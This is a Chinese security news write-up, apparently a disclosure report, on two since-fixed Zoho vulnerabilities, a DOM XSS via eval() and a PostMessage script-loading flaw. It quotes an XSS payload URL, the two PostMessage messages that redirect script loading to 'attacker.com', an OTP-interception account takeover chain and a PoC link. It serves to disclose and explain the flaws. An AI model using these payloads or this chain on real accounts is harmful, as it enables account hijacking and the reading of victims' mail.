Zoho账户接管漏洞:一次点击如何导致全面失控

导语:近日,一名安全研究人员披露了Zoho两处高危漏洞——DOM XSS和PostMessage配置错误。这两处漏洞均可被用于劫持用户账户,受害者只需点击一个链接,攻击者即可读取其邮件、获取登录验证码,最终实现账户完全接管。


一、漏洞概述

本次披露的漏洞分为两个独立部分,均可导致账户接管(ATO):

第一处位于 www.zoho.com.cn,是DOM型跨站脚本漏洞(DOM XSS)。第二处位于 www.zoho.com,是PostMessage消息通信配置错误。这两处漏洞相互独立,任意一处被利用都可能导致账户被劫持。

漏洞概述图

二、DOM XSS漏洞详解

漏洞发现

研究人员在例行安全扫描中,发现 https://www.zoho.com.cn/assist/videos/#payload 这一URL存在DOM XSS漏洞。

技术分析

问题出在Zoho网站加载的一段JavaScript代码中。该代码从URL中提取哈希值(#后面的内容),然后直接传给 eval() 函数执行。

具体代码逻辑如下:

$(document).ready(function(e) {
  var tv_id=window.location.href.split('#');
  if(!tv_id[1]=="")
  {
    autoplay(tv_id[1]); 
  }
});

function autoplay(tar) {
  var target_v=eval(tar);
  // ...
}

这段代码的流程是:浏览器访问带有 #payload 的URL时,脚本会提取 payload 并直接用 eval() 执行。攻击者只需构造恶意链接 https://www.zoho.com.cn/assist/videos/#alert(document.cookie),即可在受害者浏览器中执行任意JavaScript代码。

漏洞危害

DOM XSS可导致窃取用户会话Cookie、劫持页面内容、进行钓鱼攻击等。配合后续的账户接管技术,危害进一步扩大。


三、PostMessage配置错误详解

漏洞发现

在分析Zoho页面脚本时,研究人员发现 www.zoho.com 存在PostMessage消息通信配置不当的问题。

技术分析

问题代码位于Zoho的页面脚本中,它会检查URL中的 ps_editor 参数。如果该参数存在,页面会加载一个外部脚本 scriptLoader.js

scriptLoader.js 文件中存在一个消息监听器:

window.addEventListener("message", ps_loader.messageListener);

ps_loader.messageListener = function(event) {
  if (event.data.id === "pagesense-scriptloader-message") {
    const eventAction = event.data.action
    switch (eventAction) {
        case "updateServerDomain": {
            SERVER_DOMAIN = event.data.serverDomain
            break;
        }
        case "loadScript": {
          var scripts = event.data.scripts;
          for (var i = 0; i < scripts.length; i++) {
              ps_loader.loadScript(scripts[i]);
          }
          break;
        }
    }
  }
};

这段代码的问题在于:它允许通过PostMessage消息设置 SERVER_DOMAIN 变量,然后加载任意脚本。

利用方式

攻击者可以分两步利用:

第一步,发送消息设置 SERVER_DOMAIN 指向攻击者控制的服务器:

{
  "id":"pagesense-scriptloader-message",
  "action":"updateServerDomain",
  "serverDomain":"attacker.com"
}

第二步,发送消息加载脚本:

{
  "id":"pagesense-scriptloader-message",
  "action":"loadScript",
  "scripts":["editor"]
}

这样,页面就会从 attacker.com/pagesense/initializer/editor.js 加载脚本,攻击者即可在受害者浏览器中执行任意代码。


四、账户接管攻击链

IFRAME嵌套

研究人员发现 workplace.zoho.com 会加载一个指向 mail.zoho.com 的IFRAME。关键是这个IFRAME允许父子页面之间通过PostMessage通信。

读取邮件(CORS绕过)

Zoho Mail加载时,会从 zmXX.zoho.com 获取邮件数据。研究人员发现该域的响应头允许来自 www.zoho.com 的跨域请求。配合PostMessage漏洞,攻击者可以在父页面中读取受害者的邮件内容。

OTP验证码绕过

账户接管的最后一步是利用OTP(一次性验证码)登录。研究人员发现如下攻击流程:

攻击者首先诱导受害人访问恶意页面,受害人点击链接后,利用漏洞读取受害人Zoho Mail中的邮件。当受害人尝试通过“忘记密码”重置账户时,Zoho会向其邮箱发送OTP验证码。由于攻击者已能够读取邮件,因此拦截该验证码,完成登录。

Code PoC

https://gist.github.com/alanEG/306d580ef4b2a51f3da332e29f157cb4


五、漏洞时间线

  • 2024年1月16日:DOM XSS漏洞首次报告
  • 2024年1月24日:PostMessage漏洞报告
  • 2024年2月9日:DOM XSS漏洞修复
  • 2024年3月19日:PostMessage漏洞修复
  • 2024年4月12日:漏洞奖励发放(DOM XSS获得1000美元,PostMessage获得100美元)
  • 2024年4月25日:额外奖励1100美元

六、修复建议

针对本次披露的漏洞,建议采取以下措施:

及时更新是基础。Zoho已在收到报告后修复了相关漏洞,用户应确保使用的是最新版本的Zoho产品。

谨慎点击链接是防范关键。对于任何要求访问Zoho页面的链接,特别是带有哈希值(#)的参数,要仔细核实来源。

启用双因素认证(2FA)能有效降低账户被盗风险。即使攻击者获取了OTP验证码,2FA也能提供额外的安全防护层。

定期检查账户登录记录,发现异常及时处理。如发现未知设备或位置登录,应立即更改密码并联系Zoho支持。


版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容